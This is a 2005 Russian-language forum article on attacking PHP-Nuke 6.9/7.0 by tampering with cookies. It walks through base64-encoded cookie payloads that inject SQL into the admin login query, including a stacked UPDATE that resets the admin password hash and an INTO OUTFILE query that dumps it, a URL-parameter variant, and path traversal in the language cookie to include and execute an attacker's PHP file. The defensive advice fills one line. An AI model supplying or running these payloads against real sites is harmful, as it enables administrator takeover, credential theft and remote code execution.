Статьи SQL-injection и не только, через cookies

Discussion in 'Статьи' started by k00p3r, 12 Jun 2005.

  1. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    ---/ СОДЕРЖАНИЕ /---
    ______________________________________________________________________________________________________

    1 ......................................................................................... Введение
    2 ........................................................................................... Теория
    3 ...................................................... Изменение данных в cookie для SQL-injection
    4 .......................................................................................... Примеры
    5 .................................................................................... Хинт для нюка
    6 .......................................................................... SQL-injection и только?
    7 ........................................................................................... Защита
    8 ....................................................................................... Заключение
    ______________________________________________________________________________________________________


    ---/ Введение /---

    В данной статье я хотел бы рассказать об одной интересной (по крайней мере для меня) уязвимости.
    Описания подобной уязвимости я еще не встречал в сети, поэтому думаю для вас это будет новой
    информацией, а уж если не новой то хотя бы интересной =) Наиболее характерна бага для всевозможных
    движков сайтов, форумов и прочего, поддерживающих вход с использованием cookies. В сети я встречал
    статьи посвященные методам атаки через cookies, но в них рассматривалась атака на пользователя со
    стороны сервера, а вот описания метода атаки на сервер со стороны клиента я не встречал.
    Чтож наверно пора это исправить =)
    В начале статьи следует заметить, что для наиболее полного понимания сути проблемы вы должны обладать
    некоторыми (элементарными) знаниями в некоторых областях т.к. подробно останавливаться я на них не
    буду, а без их знания некоторые примеры могут показаться вам непонятными. Итак желательны: основы sql
    injection , язык SQL , язык PHP , основы работы с cookies , основы Base64 encode\decode ну и конечно
    немного желания....

    ---/ Теория /---

    Авторами всевозможных движков на пхп для построения сайта уделяется достаточно внимания к безопасности
    при приеме данных от пользователя в GET, POST запросах (правда не всегда и не всеми =) однако что-то я
    не часто встречал проверок при приеме данных из кук пользователя, а ведь куки хранятся на компьютере
    юзера и наиболее доступны для изменения. Предлагаю рассмотреть все на конкретном примере. Берем движок
    PHP-Nuke версии 6.9 (последняя версия доступная для свободного скачивания) Данный движок написан уже
    давно, багов в нем нашли немеряно и казалось бы авторы должны были стать параноиками и навставлять
    проверок везде где это только возможно, ан нет... Рассмотрим код из файла auth.php ответственного за
    авторизацию пользователя:

    [ begin code ]
    ...
    if(isset($admin) && $admin != "") # если переменная $admin существует и не пуста
    {
    $admin = base64_decode($admin); # base64 декодирование строки
    $admin = explode(":", $admin); # разбиение строки
    $aid = "$admin[0]"; # тут присвоение полученных данных переменной $aid (логин)
    $pwd = "$admin[1]"; # тут присвоение полученных данных переменной $pwd (пароль)
    $admlanguage = "$admin[2]";

    [ тут идет проверка на пустые логин и пароль, она не интересна ]

    $sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; # а вот тут уже запрос к БД включающий
    # в себя переменную $aid полученную ранее

    if (!($result = $db->sql_query($sql))) # если запрос не увенчался успехом
    {
    echo "Selection from database failed!"; # вывод сообщения (это нам пригодится позднее)
    exit;
    }
    else # если запрос вернул инфу
    {
    $row = $db->sql_fetchrow($result); # получение ответа
    if($row[pwd] == $pwd && $row[pwd] != "") # проверка данных
    {
    $admintest = 1; # баааа... да это админ =)))
    }

    }
    ...
    [ end code ]

    Как видно из приведенного листинга то после получения переменной $aid из кук она без всяких проверок
    отправляется в sql-запрос, а это означает что мы с чистой совестью можем изменить данную переменную и
    изменить сам запрос к БД. Теперь стоит разобраться с куками которые сбрасывает данный движок. Я
    рекомендую поставить php-nuke себе и на своем компе производить все операции дабы разобраться в том
    что происходит. Значит после установки движка регистрируем в нем пользователя "admin" с паролем
    "password" и лезем смотреть на куки которые у нас сбросились.

    [ start cookie ]
    lang
    english
    127.0.0.1/phpnuke/
    1536
    1008201472
    29680718
    3288127568
    29607292
    *
    admin
    YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
    127.0.0.1/phpnuke/
    1536
    3469246208
    29613327
    3600307568
    29607292
    *
    [ end cookie ]

    Наиболее интересна для нас строка YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 это зашифрованные
    base64 логин и md5 хеш пароля юзера. Самое время их расшифровать и посмотреть как там все устроено.
    base64 расшифровывается очень легко поэтому особых трудностей тут возникнуть не должно:

    зашифровано:
    YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6

    расшифровано:
    admin:5f4dcc3b5aa765d61d8327deb882cf99:

    Где,
    admin - логин
    5f4dcc3b5aa765d61d8327deb882cf99 - md5 хеш пароля ( в данном случае "password")
    : - разделитель


    ---/ Изменение данных в cookie /---

    Итак у нас в руках есть логин и md5 хэш. Давайте попробуем изменить логин и соответственно мы изменим
    последующий sql-запрос к БД:

    измененная строка:
    admin':5f4dcc3b5aa765d61d8327deb882cf99:

    шифруем в base64:
    YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==

    Как вы видите мы добавили "'" к логину. Если вы не знаете что это такое то читайте статьи про sql
    injection. Теперь осталось вставить измененную строку в наш кук и посмотреть, что произойдет.
    Открываем в браузере наш движок и пытаемся войти в админ-панель.
    Получаем: Selection from database failed!
    Ура. Значит sql-запрос был благополучно изменен =)

    Теперь посмотрим что происходит в БД. Открываем логи и видим:

    1 Init DB nuke
    1 Init DB nuke
    1 Query SELECT main_module from nuke_main
    1 Query SELECT * FROM nuke_referer
    1 Query SELECT user_password FROM nuke_users WHERE username=''
    1 Query DELETE FROM nuke_session WHERE time < 1071760481
    1 Query SELECT time FROM nuke_session WHERE uname='127.0.0.1'
    1 Query SELECT * FROM nuke_banner WHERE type='0' AND active='1'
    1 Query SELECT bid, imageurl, clickurl, alttext FROM nuke_banner WHERE type='0' AND active='1' LIMIT 0,1
    1 Query SELECT pwd FROM nuke_authors WHERE aid='admin'' <--- !!!!!!!!
    ...

    Вот оно! Как видно наш логин благополучно пробрался в запрос и соответственно данный запрос не смог
    возвратить пароль пользователя из-за чего мы и получаем надпись...

    if (!($result = $db->sql_query($sql))) # если запрос не увенчался успехом
    {
    echo "Selection from database failed!"; <--- вот эта надпись
    exit;
    }

    Итак. SQL-injection налицо, осталось выяснить, что это нам дает.... Тут следует обратится к документации
    по языку sql, и всевозможной инфе по sql-injection. Я особо углублятся в это не буду. Рассмотрю лишь
    небольшой пример...


    ---/ Примеры /---

    Шифруем строку:
    admin'; update nuke_authors SET pwd='123' WHERE aid='admin:5f4dcc3b5aa765d61d8327deb882cf99:

    Получаем:
    YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd2Q9JzEyMycgV0hFUkUgYWlkPSdhZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OTo=

    После вставки данной строки в cookie и захода на сайт в БД выполняется запрос:
    SELECT pwd FROM nuke_authors WHERE aid='admin'; update nuke_authors SET pwd='123' WHERE aid='admin'

    Т.е. если phpnuke стоит на MSSQL то хеш пароля юзера с aid="admin" сменится на "123" =)
    Почему MSSQL? Просто эта БД позволяет отдавать несколько запросов в одной строке разделяя их ";" В
    случае с mysql данная фишка не прокатит т.к. там такая роскошь не допускается =( Конечно можно
    поиграть с UNION но это подходит только для mysql > 4.0 т.к. в более ранних данной команды нет. Да и в
    случае с phpnuke никаких результатов это нам не даст т.к. тут нету вывода какой-либо инфы из базы в
    процессе авторизации =( Возможно в каких-либо других движках при другом виде запросов к БД и удастся
    приспособить UNION для получения инфы... Но это тема другой статьи.

    Ну и как дополнение к статье рассмотрим путь получения хеша пароля для юзера с id="admin" в php-nuke
    версии 6.9 на mysql

    Шифруем строку:
    admin' INTO OUTFILE './pwd.txt:5f4dcc3b5aa765d61d8327deb882cf99:

    Получаем:
    YWRtaW4nIElOVE8gT1VURklMRSAnLi9wd2QudHh0OjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==

    После вставки полученной строки в cookie и захода на сайт выполняется запрос:
    SELECT pwd FROM nuke_authors WHERE aid='admin' INTO OUTFILE './pwd.txt'

    Т.е. выбор хеша пароля из БД соответствующего aid="admin" и сохранение этого хеша в файле pwd.txt.


    ---/ Хинт для нюка /---

    Если посмотреть на php-код приведенный в самом начале статьи то можно заметить что на PHP-Nuke совсем не
    обязательно передавать данные именно через cookies. Можно передавать зашифрованную строку прямо через
    браузер следующим образом:
    admin.php?admin=YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==
    Результат будет таким-же как и при передаче через кукисы.


    ---/ SQL-injection и только? /---

    Естественно не следует думать, что модификация данных в cookies может привести только к SQL-injection.
    Модификация данных в cookies лишь метод, а вот направление использования этого метода уже зависит от
    кода уязвимого ПО. Мне кажется лучше всего будет это продемонстрировать на примере все того-же бедного
    пхп-нюка =) версии 6.9. ( К слову сказать на момент когда статья была дописана я уже достал себе
    версию нюки 7.0 FINAL и все приведенные примеры в ней также работают) Итак мы уже в курсе про куки в
    которых хранится логин и пароль, но ведь движок сбрасывает еще одну куку... а именно кукис с названием
    языка который следует использовать. И название данного файла хранится в переменной $lang и
    используется вот таким образом:

    [ begin mainfile.php code ]
    ...
    include("language/lang-$lang.php");
    ...
    [ end mainfile.php code ]

    Конечно данную переменную можно сменить и просто отдав с строке браузера нужный запрос, например вот
    так: 127.0.0.1/phpnuke/index.php?lang=/../../../ но использовать для этого кукисы будет более
    правильно, хотя наверно это не самый лучший пример, но какой есть. Простопредставим что данные из GET
    запросов фильтруются на наличие в запросе... ну например точек. Значит изменение пути через браузер
    отпадает. Будем играть с куками. Значит нам надо изменить путь к языковому файлу. Открываем сайт,
    получаем куки и смотрим:

    [ start cookie ]
    ...
    lang
    english
    ...
    [ end cookie ]

    Вот тут нас интересует "english" при таком значении переменной языковой файл будет такой: language/lang-english.php
    Мы изменяем в кукисах вот на такую строку: ../../english
    Заходим на сайт и получаем ошибку:

    Warning: main(language/lang-../../english.php): failed to open stream:
    No such file or directory in mainfile.php on line 162

    Итак мы можем изменить путь к файлу. Допустим у нас есть возможность залить файл на сервер или же у нас
    есть свой сайт, физически расположенный там-же где и атакуемый. Значит мы можем проинклудить свой
    созданный заранее файлик. Я рассмотрю пример с инклудом из корня пхп-нюки:
    Делаем в куке:
    lang
    /../../hacker

    Теперь путь к файлу такой:
    language/lang-/../../hacker.php

    Создаем в корне нюки файл hacker.php например с
    Заходим с измененным cookie на сайт и в самом верху получаем надпись "cool =)"
    Код выполнился, а значит потенциальная уязвимость существует.


    ---/ Защита /---

    Способ защиты в принципе банален и не нов. Просто фильтровать ВСЕ!!! пришедшие от пользователя данные,
    независимо от того каким способом они передаются.


    ---/ Заключение /---

    В данной статье рассмотрена лишь суть проблемы, а методы использования уже предстоит придумать и
    реализовать вам самим. Также метод рассмотренный тут не является шаблоном по которому можно ломануть
    все и вся... Все зависит от самого скрипта использующегося на сервере, от вида запросов к БД, от
    способов получения данных из cookies и т.д. Да и еще... самое главное! Статья написана в помощь
    администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не
    используйте информацию из этой статьи в целях противоречащих УК.

    Автор: 1dt.w0lf